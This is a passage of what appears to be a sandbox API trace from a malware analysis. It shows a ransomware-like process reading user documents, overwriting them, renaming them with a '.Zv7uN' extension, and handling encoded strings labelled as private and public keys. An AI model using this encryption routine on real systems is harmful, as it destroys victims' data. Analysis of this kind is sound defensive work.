0x0 [0088.919] ReadFile (in: hFile=0x128, lpBuffer=0x1f27430, nNumberOfBytesToRead=0xd3b9, lpNumberOfBytesRead=0x18f108, lpOverlapped=0x0 | out: lpBuffer=0x1f27430*, lpNumberOfBytesRead=0x18f108*=0xd3b9, lpOverlapped=0x0) returned 1 [0088.921] CloseHandle (hObject=0x128) returned 1 [0088.923] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\STLq6DOc\\noOt.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\id3vnokasqb1-\\stlq6doc\\noot.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0088.961] WriteFile (in: hFile=0x128, lpBuffer=0x1f35460*, nNumberOfBytesToWrite=0xd3b9, lpNumberOfBytesWritten=0x18f114, lpOverlapped=0x0 | out: lpBuffer=0x1f35460*, lpNumberOfBytesWritten=0x18f114*=0xd3b9, lpOverlapped=0x0) returned 1 [0088.965] CloseHandle (hObject=0x128) returned 1 [0088.965] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\STLq6DOc\\noOt.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\id3vnokasqb1-\\stlq6doc\\noot.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\STLq6DOc\\noOt.pptx.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\id3vnokasqb1-\\stlq6doc\\noot.pptx.zv7un")) returned 1 [0088.966] GetCurrentThreadId () returned 0xa30 [0088.966] GetCurrentThreadId () returned 0xa30 [0088.966] GetCurrentThreadId () returned 0xa30 [0088.966] GetCurrentThreadId () returned 0xa30 [0088.966] GetCurrentThreadId () returned 0xa30 [0088.966] GetCurrentThreadId () returned 0xa30 [0088.966] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2bfce50, ftCreationTime.dwHighDateTime=0x1d5d934, ftLastAccessTime.dwLowDateTime=0x4fbd7920, ftLastAccessTime.dwHighDateTime=0x1d5deb2, ftLastWriteTime.dwLowDateTime=0x4fbd7920, ftLastWriteTime.dwHighDateTime=0x1d5deb2, nFileSizeHigh=0x0, nFileSizeLow=0x36c5, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Vn_LVk.rtf", cAlternateFileName="")) returned 1 [0088.967] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0088.967] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0088.967] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\STLq6DOc\\Vn_LVk.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\id3vnokasqb1-\\stlq6doc\\vn_lvk.rtf"), fInfoLevelId=0x0, lpFileInformation=0x18f148 | out: lpFileInformation=0x18f148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2bfce50, ftCreationTime.dwHighDateTime=0x1d5d934, ftLastAccessTime.dwLowDateTime=0x4fbd7920, ftLastAccessTime.dwHighDateTime=0x1d5deb2, ftLastWriteTime.dwLowDateTime=0x4fbd7920, ftLastWriteTime.dwHighDateTime=0x1d5deb2, nFileSizeHigh=0x0, nFileSizeLow=0x36c5)) returned 1 [0088.967] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\STLq6DOc\\Vn_LVk.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\id3vnokasqb1-\\stlq6doc\\vn_lvk.rtf")) returned 0x20 [0088.967] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\STLq6DOc\\Vn_LVk.rtf", dwFileAttributes=0x80) returned 1 [0088.969] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0088.969] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f0e5cc, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0088.971] GetCurrentThreadId () returned 0xa30 [0088.971] GetCurrentThreadId () returned 0xa30 [0088.971] GetCurrentThreadId () returned 0xa30 [0088.972] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0088.972] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f1f62c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0088.972] GetCurrentThreadId () returned 0xa30 [0088.972] GetCurrentThreadId () returned 0xa30 [0088.973] GetCurrentThreadId () returned 0xa30 [0088.973] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\STLq6DOc\\Vn_LVk.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\id3vnokasqb1-\\stlq6doc\\vn_lvk.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0088.973] SetFilePointer (in: hFile=0x128, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0fc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0fc*=0) returned 0x0 [0088.973] SetFilePointer (in: hFile=0x128, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0088.973] SetFilePointer (in: hFile=0x128, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x36c5 [0088.973] SetFilePointer (in: hFile=0x128, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0088.973] ReadFile (in: hFile=0x128, lpBuffer=0x1f27430, nNumberOfBytesToRead=0x36c5, lpNumberOfBytesRead=0x18f108, lpOverlapped=0x0 | out: lpBuffer=0x1f27430*, lpNumberOfBytesRead=0x18f108*=0x36c5, lpOverlapped=0x0) returned 1 [0088.975] CloseHandle (hObject=0x128) returned 1 [0088.976] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\STLq6DOc\\Vn_LVk.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\id3vnokasqb1-\\stlq6doc\\vn_lvk.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0088.978] WriteFile (in: hFile=0x128, lpBuffer=0x1f2b460*, nNumberOfBytesToWrite=0x36c5, lpNumberOfBytesWritten=0x18f114, lpOverlapped=0x0 | out: lpBuffer=0x1f2b460*, lpNumberOfBytesWritten=0x18f114*=0x36c5, lpOverlapped=0x0) returned 1 [0088.980] CloseHandle (hObject=0x128) returned 1 [0088.980] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\STLq6DOc\\Vn_LVk.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\id3vnokasqb1-\\stlq6doc\\vn_lvk.rtf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\STLq6DOc\\Vn_LVk.rtf.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\id3vnokasqb1-\\stlq6doc\\vn_lvk.rtf.zv7un")) returned 1 [0088.982] GetCurrentThreadId () returned 0xa30 [0088.982] GetCurrentThreadId () returned 0xa30 [0088.982] GetCurrentThreadId () returned 0xa30 [0088.982] GetCurrentThreadId () returned 0xa30 [0088.982] GetCurrentThreadId () returned 0xa30 [0088.982] GetCurrentThreadId () returned 0xa30 [0088.982] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54b45640, ftCreationTime.dwHighDateTime=0x1d5dd29, ftLastAccessTime.dwLowDateTime=0x83f3c810, ftLastAccessTime.dwHighDateTime=0x1d5dc6f, ftLastWriteTime.dwLowDateTime=0x83f3c810, ftLastWriteTime.dwHighDateTime=0x1d5dc6f, nFileSizeHigh=0x0, nFileSizeLow=0x121d0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="XItXehzcofYBo38.doc", cAlternateFileName="XITXEH~1.DOC")) returned 1 [0088.982] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0088.982] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0088.982] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\STLq6DOc\\XItXehzcofYBo38.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\id3vnokasqb1-\\stlq6doc\\xitxehzcofybo38.doc"), fInfoLevelId=0x0, lpFileInformation=0x18f148 | out: lpFileInformation=0x18f148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54b45640, ftCreationTime.dwHighDateTime=0x1d5dd29, ftLastAccessTime.dwLowDateTime=0x83f3c810, ftLastAccessTime.dwHighDateTime=0x1d5dc6f, ftLastWriteTime.dwLowDateTime=0x83f3c810, ftLastWriteTime.dwHighDateTime=0x1d5dc6f, nFileSizeHigh=0x0, nFileSizeLow=0x121d0)) returned 1 [0088.982] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\STLq6DOc\\XItXehzcofYBo38.doc" (normalized: "c:\\users\\5p5nrgjn0js 